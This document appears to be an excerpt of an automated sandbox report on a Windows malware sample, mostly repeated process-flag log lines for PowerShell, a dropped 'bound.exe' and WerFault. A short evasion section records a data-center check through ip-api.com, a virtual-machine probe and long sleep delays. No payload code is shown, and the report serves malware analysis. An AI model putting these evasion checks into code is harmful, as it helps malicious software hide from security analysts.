Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Source: C:\Users\user\AppData\Local\Temp\bound.exe	Memory allocated: 254B4F50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Memory allocated: 254CEAA0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 2_2_00007FF8E7A68816 sgdt fword ptr [rax]

2_2_00007FF8E7A68816

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599828
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599657
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599508
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599357
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599225
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599108
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598969
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598843
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598710
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598591
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598483
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598374
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598266
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598141
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598016
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597904
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597768
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597656
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597437
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597296
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597188
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597078
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596969
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596844
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596735
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596610
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596485
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596360
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596235
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596110
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595985
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595860
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595735
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595610
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595485
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595360
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595235
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595106
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594981
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594766
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594638
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594532
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594407
